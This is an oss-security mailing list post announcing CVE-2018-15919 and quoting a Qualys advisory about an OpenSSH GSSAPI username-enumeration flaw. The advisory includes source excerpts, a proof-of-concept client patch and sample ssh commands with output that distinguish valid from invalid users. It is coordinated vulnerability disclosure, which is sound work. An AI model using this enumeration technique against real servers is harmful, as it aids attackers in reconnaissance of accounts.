Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Tue, 28 Aug 2018 09:55:23 +0200
From: Marcus Meissner <meissner@...e.de>
To: oss-security@...ts.openwall.com
Subject: Re: Another OpenSSH "user enumeration"

Hi,

Mitre has assigned CVE-2018-15919

Ciao, Marcus

On Mon, Aug 27, 2018 at 09:27:30AM -0700, Qualys Security Advisory wrote:
> Hi all,
> 
> On August 24, 2018, we sent the following email to openssh@...nssh.com
> and distros@...openwall.org. About the disclosure of this issue, Solar
> Designer wrote "I'd be even happier with it being made public right away
> if that's OK with both the OpenSSH team and Qualys", and Theo de Raadt
> wrote "More than reporting to us, I urge you to publish it"; for a
> detailed explanation, please refer to Damien Miller's post:
> 
> http://www.openwall.com/lists/oss-security/2018/08/24/1
> 
> We thank the OpenSSH developers and the members of
> distros@...openwall.org for their constructive comments, suggestions,
> and feedback.
> 
> ========================================================================
> 
> While properly reviewing the now-famous OpenSSH commit
> https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
> we discovered another username-enumeration vulnerability in auth2-gss.c
> (enabled by default on at least Fedora, CentOS, and Red Hat Enterprise
> Linux).
> 
> This vulnerability affects OpenSSH versions from 5.9 (September 6, 2011)
> to the recently released 7.8 (August 24, 2018), inclusive. It is quite
> similar to CVE-2018-15473 (it is not a timing attack), but it is also
> markedly different (code excerpts from OpenSSH 7.8p1):
> 
>  61 static int
>  62 userauth_gssapi(struct ssh *ssh)
>  63 {
> ...
> 106         if (!authctxt->valid || authctxt->user == NULL) {
> 107                 debug2("%s: disabled because of invalid user", __func__);
> 108                 free(doid);
> 109                 return (0);
> 110         }
> 111 
> 112         if (GSS_ERROR(PRIVSEP(ssh_gssapi_server_ctx(&ctxt, &goid)))) {
> 113                 if (ctxt != NULL)
> 114                         ssh_gssapi_delete_ctx(&ctxt);
> 115                 free(doid);
> 116                 authctxt->server_caused_failure = 1;
> 117                 return (0);
> 118         }
> ...
> 123         if ((r = sshpkt_start(ssh, SSH2_MSG_USERAUTH_GSSAPI_RESPONSE)) != 0 ||
> 124             (r = sshpkt_put_string(ssh, doid, len)) != 0 ||
> 125             (r = sshpkt_send(ssh)) != 0)
> ...
> 132         authctxt->postponed = 1;
> 133 
> 134         return (0);
> 135 }
> 
> - If this first step of the GSSAPI authentication succeeds, then
>   "postponed" is set to 1 (at line 132) and the server sends a packet
>   SSH2_MSG_USERAUTH_GSSAPI_RESPONSE to the attacker (at lines 123-125):
>   in this particular case, the user is necessarily valid (it exists).
> 
> - Otherwise "postponed" is not set, and userauth_gssapi() returns 0 at
>   line 117 or 109: in both cases, the server's userauth_finish() sends a
>   packet SSH2_MSG_USERAUTH_FAILURE to the attacker, who should therefore
>   be unable to distinguish between a valid and invalid user. However, if
>   the user is valid, then "server_caused_failure" is set (at line 116);
>   if the user is invalid, it is not set. Consequently, the behavior of
>   userauth_finish() changes:
> 
> 340 void
> 341 userauth_finish(struct ssh *ssh, int authenticated, const char *method,
> 342     const char *submethod)
> 343 {
> ...
> 410                 if (!partial && !authctxt->server_caused_failure &&
> 411                     (authctxt->attempt > 1 || strcmp(method, "none") != 0))
> 412                         authctxt->failures++;
> 413                 if (authctxt->failures >= options.max_authtries) {
> ...
> 417                         auth_maxtries_exceeded(authctxt);
> 418                 }
> ...
> 422                 packet_start(SSH2_MSG_USERAUTH_FAILURE);
> 423                 packet_put_cstring(methods);
> 424                 packet_put_char(partial);
> 425                 packet_send();
> ...
> 429 }
> 
>   . if the user is valid, then "server_caused_failure" is set,
>     "failures" is not incremented, and the attacker can attempt the
>     GSSAPI authentication indefinitely;
> 
>   . if the user is invalid, then "server_caused_failure" is not set,
>     "failures" is incremented (at line 412), and the server will
>     disconnect the attacker (at line 417) after max_authtries
>     authentication attempts (6, by default).
> 
> Below is a very crude proof-of-concept (a patch for the client in
> OpenSSH 7.8p1):
> 
> ------------------------------------------------------------------------
> 
> diff -pruN openssh-7.8p1/gss-genr.c openssh-7.8p1-poc/gss-genr.c
> --- openssh-7.8p1/gss-genr.c	2018-08-22 22:41:42.000000000 -0700
> +++ openssh-7.8p1-poc/gss-genr.c	2018-08-22 22:41:42.000000000 -0700
> @@ -286,6 +286,7 @@ ssh_gssapi_check_mechanism(Gssctxt **ctx
>  
>  	ssh_gssapi_build_ctx(ctx);
>  	ssh_gssapi_set_oid(*ctx, oid);
> +	return 1;
>  	major = ssh_gssapi_import_name(*ctx, host);
>  	if (!GSS_ERROR(major)) {
>  		major = ssh_gssapi_init_ctx(*ctx, 0, GSS_C_NO_BUFFER, &token, 
> diff -pruN openssh-7.8p1/sshconnect2.c openssh-7.8p1-poc/sshconnect2.c
> --- openssh-7.8p1/sshconnect2.c	2018-08-22 22:41:42.000000000 -0700
> +++ openssh-7.8p1-poc/sshconnect2.c	2018-08-22 22:41:42.000000000 -0700
> @@ -701,6 +701,7 @@ userauth_gssapi(Authctxt *authctxt)
>  	ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_TOKEN, &input_gssapi_token);
>  	ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERROR, &input_gssapi_error);
>  	ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERRTOK, &input_gssapi_errtok);
> +	return 1;
>  
>  	mech++; /* Move along to next candidate */
>  
> ------------------------------------------------------------------------
> 
> For example, on Fedora, "adm" is a valid user, but "pocorgtfo" is not:
> 
> ------------------------------------------------------------------------
> 
> ./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic adm@....0.0.1
> ...
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Next authentication method: gssapi-with-mic
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> ...
> 
> ./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic pocorgtfo@....0.0.1
> ...
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Next authentication method: gssapi-with-mic
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
> Disconnected from 127.0.0.1 port 22
> 
> ------------------------------------------------------------------------
> 
> We understand that the OpenSSH developers do not want to treat such a
> username enumeration (or "oracle") as a vulnerability (although it is
> quite useful in an attacker's toolbox), but how should we coordinate
> this disclosure, then? OpenSSH developers, distros, please advise.
> 
> Thank you very much! With best regards,
> 
> -- 
> the Qualys Security Advisory team
> 

-- 
Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <meissner@...e.de>

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.